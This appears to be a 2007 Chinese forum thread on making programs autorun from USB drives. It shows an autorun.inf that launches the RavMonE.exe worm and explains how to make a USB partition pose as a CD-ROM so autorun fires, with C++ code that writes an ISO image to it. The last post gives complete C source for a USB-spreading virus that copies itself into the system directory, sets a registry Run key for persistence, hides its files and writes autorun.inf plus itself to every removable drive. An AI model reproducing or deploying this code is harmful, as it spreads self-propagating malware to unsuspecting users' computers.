几何尺寸与公差论坛

 找回密码
 注册
查看: 2233|回复: 2

让程序在u盘中自动运行

[复制链接]
发表于 2007-4-10 21:37:53 | 显示全部楼层 |阅读模式
让程序在U盘中自动运行
前段时间那个垃圾RavMonE.exe, 好像是可以的,很多人都中了:

1、添加AUTORUN.INF
[AutoRun]
open=RavMonE.exe e
shellexecute=RavMonE.exe e
shell\Auto\command=RavMonE.exe e
shell=Auto
 楼主| 发表于 2007-4-10 21:40:07 | 显示全部楼层

回复: 让程序在u盘中自动运行

. 开发思路

我们知道光驱插入光盘可以自动运行,所以我们可以让U盘的一个区模拟成光盘的形式。这样我们可以利用autorun.inf,让程序自动运行。

三. 开发步骤
1. 让U盘一个区显示成光盘
这个对于开发过U盘的人来说应该很简单,就是在操作系统发送SCSI设备的 INQUIRY 指令的时候,返回的INQUIRY里面指明设备类型,我们设置为CD设备。具体指令可以参考相关资料(spc3r23.pdf)。我开发的时候INQUIRY返回数据的前几个字节如下:0x05,0x80,0x02,0x02仅供参考。

2. 响应操作系统对这光盘区的指令
成光盘后,操作系统可能会发送一些SCSI指令给这个光盘区。应该响应某些指令,有些并不需要响应。后面我会附录一个我弄过的一个U盘的BusHound监测文件,大家可以参考。最好买一个这样的U盘,然后用BusHound监测通讯过程。

3. 向光盘区写入文件
应该可以把光盘区弄成CDRW,这样直接写入就可以了,但这样需要了解很多协议。由于时间关系,我采用了简单的方法,把需要写入光盘的文件用ISO制作工具弄成一个ISO镜像文件,编写一个小程序向这个光盘区写入ISO镜像文件。程序部分代码附在文档后面,仅供参考。写入的程序最终调用DeviceIoControl函数。文件写入后,再重新拔插U盘就可以了。

四. 说明
这里只是简单说明了原理,如果是刚接触这个,还有很多东西要弄清楚,我是在别人一个普通U盘开发板的基础上添加这个功能的,最后弄通了,感觉很不容易,以前也没有弄过硬件的固件程序。希望对新手有帮助。有什么问题,可以邮件联系交流。

附录:
1. Write ISO程序部分代码:
UINT CWriteIsoFileDlg::ThreadWrite(LPVOID pParam)
{
CWriteIsoFileDlg * p = (CWriteIsoFileDlg*)pParam;

CSDsk sd;
CString str;

HANDLE fh,hFind;
WIN32_FIND_DATA FindFileData;
ULONGLONG fSize = 0;
CFileFind ff;

DWORD startAddr = 0;
DWORD nBytesRead = 0;
PBYTE buf = new BYTE[20480];
memset(buf,0,20480);

try
{
if(!ff.FindFile(p->filename))
{
str.Format("找不到文件 %s ",p->filename);
throw 1;
}
ff.FindNextFile();

fh = CreateFile(ff.GetFilePath(),GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);
if(fh==INVALID_HANDLE_VALUE)
{
str.Format("打开文件 %s 失败",p->filename);
throw 1;
}

if(!sd.Open())
throw 0;

int index = sd.GetDevNum()-1;

if(!sd.ReadCapacity(index,0,fSize))
throw 0;

if(ff.GetLength()>fSize)
{
str = "光盘空间不足,不能写入。";
throw 1;
}
fSize = ff.GetLength();

if(!sd.GetFlashParam(index,0,1,buf))
throw 0;
buf[0]&=0xBF;
if(!sd.SetFlashParam(index,0,1,buf,false))
throw 0;

while(1)
{
if(ReadFile(fh,buf,20480,&nBytesRead,NULL))
{
if(nBytesRead!=0)
{
if(!sd.Write(index,0,startAddr,40,buf))
{
throw 0;
}
startAddr+=40;
memset(buf,0,20480);
}
else
break;
}
else
{
str = "读文件错误!";
throw 1;
}
}
//p->MessageBox("写入镜像文件成功!",NULL,MB_OK|MB_ICONINFORMATION);
sd.PlugDisk(index,0,true);

delete [] buf;
exit(0);
}
catch(int e)
{
if(e==0)
{
p->MessageBox(sd.err.GetErrMsg(),NULL,MB_OK|MB_ICONERROR);
}
else
p->MessageBox(str,NULL,MB_OK|MB_ICONERROR);
}
delete [] buf;
exit(-1);
return 1;
}

2. 可以自启动U盘的BusHound在windowsXp下的监测文件
 楼主| 发表于 2007-4-10 22:02:41 | 显示全部楼层

回复: 让程序在u盘中自动运行

基于U盘传播的简单病毒

#include <windows.h>
#include <Shlwapi.h>
#include <fstream.h>
#include <TlHelp32.h>

#define TIMER 1//计时器
#define WM_FROMC WM_USER+0   //自定义消息 从C盘中启动
#define WM_FROMU WM_USER+1   //自定义消息 从U盘中启动

//function
LRESULT CALLBACK WndProc(HWND, UINT, WPARAM, LPARAM);//窗口过程


//病毒从U盘启动时用到的函数
BOOL FileExist(TCHAR *path);//测试一个文件是否存在
BOOL GetSelfPath(TCHAR *path);//Get the virus's path
BOOL FindU(TCHAR *u);//check whether u exist, u[2]
BOOL GetSysPath(TCHAR *path);//得到系统路径
BOOL CopyToSysAndSet(HWND hwnd);//复制自身到系统目录和设置
BOOL SetFileAttrib(TCHAR *path);//设置path所指文件的属性
BOOL RegAutoRun(TCHAR *path);//修改注册表,实现自启动

//从C盘启动时用到函数
BOOL CopyToUAndSet();//复制自己到U盘
BOOL CreateAutoRunFile(TCHAR *path);//在U盘下生成autorun.inf文件
BOOL FindSelf();//测试自己是否在已经执行了

//global variable
TCHAR szExePath[MAX_PATH];//the virus's path
TCHAR U[2];//保存U盘的盘符
TCHAR szSysPath[MAX_PATH];//system path

//constant
const TCHAR *szExeName="dll.exe";
const TCHAR *szAutoRunFile="AutoRun.inf";

int WINAPI WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance,
        PSTR szCmdLine, int iCmdShow)
{
static TCHAR szAppName[]=TEXT ("virus");
HWND       hwnd;
MSG       msg;
WNDCLASS     wndclass;

wndclass.style       =0;
wndclass.lpfnWndProc   =WndProc;
wndclass.cbClsExtra   =0;
wndclass.cbWndExtra   =0;
wndclass.hInstance   =hInstance;
wndclass.hIcon       =0;
wndclass.hCursor     =0;
wndclass.hbrBackground   =0;
wndclass.lpszMenuName   =NULL;
wndclass.lpszClassName   =szAppName;
if (!RegisterClass (&wndclass))
{
MessageBox (NULL,TEXT("rogram requires Windows NT!"),
    szAppName, MB_IConERROR);
return 0;
}
hwnd = CreateWindow (szAppName, NULL,
        WS_DISABLED,
        0, 0,
        0, 0,
        NULL, NULL, hInstance, NULL);
while (GetMessage(&msg, NULL, 0, 0))
{
TranslateMessage (&msg);
DispatchMessage (&msg);
}
return msg.wParam;
}

LRESULT CALLBACK WndProc (HWND hwnd, UINT message, WPARAM wParam,LPARAM lParam)
{
switch(message)
{
case WM_CREATE:     //处理一些要下面要用到的全局变量
GetSysPath(szSysPath);//得到系统路径
SetTimer(hwnd,TIMER,5000,0);//启动计时器
GetSelfPath(szExePath);//得到自身的路径
return 0;
case WM_TIMER:       //timer message
if(szExePath[0]=='C')
{
if(FindU(U))
{
SendMessage(hwnd,WM_FROMC,0,0);
}
}
else
SendMessage(hwnd,WM_FROMU,0,0);
return 0;
case WM_FROMC:
CopyToUAndSet();
return 0;
case WM_FROMU:
CopyToSysAndSet(hwnd);
return 0;
case WM_DESTROY:
KillTimer(hwnd,TIMER);
PostQuitMessage(0);
return 0;
}
return DefWindowProc(hwnd, message, wParam, lParam);
}

BOOL GetSelfPath(TCHAR *path)
{
if(GetModuleFileName(NULL,path,MAX_PATH))//得到程序自身的目录
{
return TRUE;
}
else
return FALSE;
}

BOOL FindU(TCHAR *u)
{
u[1]=':';
for(char d='C';d<='Z';d++)//遍历C到Z
{
  u[0]=d;
  if(GetDriveType(u)==DRIVE_REMOVABLE)//判断是不是可移动的盘
    return TRUE;
}
return FALSE;
}

BOOL GetSysPath(TCHAR *path)
{
return GetSystemDirectory(path,MAX_PATH);//得到系统路径
}

BOOL CopyToSysAndSet(HWND hwnd)
{
TCHAR szPath[MAX_PATH];
lstrcpy(szPath,szSysPath);
lstrcat(szPath,"\\");
lstrcat(szPath,szExeName);//得到复制到系统目录的完整目录
if(!FileExist(szPath))//检测是否已经存在复制的文件
{
CopyFile(szExePath,szPath,FALSE);
RegAutoRun(szPath);
return SetFileAttrib(szPath);
}
else
{
if(!FindSelf())//检测自己有没有运行
WinExec(szPath,SW_HIDE);//没有就执行
SendMessage(hwnd,WM_CLOSE,0,0);结束自己
}
return FALSE;
}

BOOL FileExist(TCHAR *path)//检测PATH所指的路径的文件是否存在
{
int result;
result=PathFileExists(path);
if(result==1)
return TRUE;
else
return FALSE;
}
BOOL SetFileAttrib(TCHAR *path)
{
return SetFileAttributes(path,FILE_ATTRIBUTE_SYSTEM|FILE_ATTRIBUTE_HIDDEN);
}
BOOL RegAutoRun(TCHAR *path)//修改注册表
{
HKEY hkey;
if(RegOpenKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\MICROSOFT\\Windows\\CurrentVersion\\Run",
&hkey)==ERROR_SUCCESS)
{
RegSetvalueEx(hkey,szExeName,0,REG_SZ,(BYTE*)path,lstrlen(path));
RegCloseKey(hkey);
return TRUE;
}
else
return FALSE;
}
BOOL CopyToUAndSet()
{
TCHAR szPath[MAX_PATH];
lstrcpy(szPath,U);
lstrcat(szPath,"\\");
lstrcat(szPath,szExeName);//得到指向U盘的完整目录

TCHAR szAutoFile[MAX_PATH];
lstrcpy(szAutoFile,U);
lstrcat(szAutoFile,"\\");
lstrcat(szAutoFile,szAutoRunFile);

if(!FileExist(szAutoFile))
{
CreateAutoRunFile(szAutoFile);
SetFileAttrib(szAutoFile);
}
if(!FileExist(szPath))
{
CopyFile(szExePath,szPath,FALSE);
return SetFileAttrib(szPath);
}
return FALSE;
}

BOOL CreateAutoRunFile(TCHAR *path) //在U盘下创建一个autorun.inf文件
{
ofstream fout;
fout.open(path);
if(fout)
{
fout<<"[AutoRun]"<<endl;
fout<<"open=dll.exe e"<<endl;
fout<<"shellexecute=dll.exe e"<<endl;
fout<<"shell\\Auto\\command=dll.exe e"<<endl;
fout<<"shell=Auto"<<endl;
fout.close();
return TRUE;
}
return FALSE;
}

BOOL FindSelf(){
PROCESSENTRY32 pe;
HANDLE hShot=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
pe.dwSize=sizeof(PROCESSENTRY32);
if(Process32First(hShot,&pe)){
do{
if(lstrcmp(pe.szExeFile,szExeName)==0)
{
CloseHandle(hShot);
return TRUE;
}
}while(Process32Next(hShot,&pe));
}
CloseHandle(hShot);
return FALSE;
}
您需要登录后才可以回帖 登录 | 注册

本版积分规则

QQ|Archiver|小黑屋|几何尺寸与公差论坛

GMT+8, 2024-5-14 00:21 , Processed in 0.041731 second(s), 20 queries .

Powered by Discuz! X3.4 Licensed

© 2001-2023 Discuz! Team.

快速回复 返回顶部 返回列表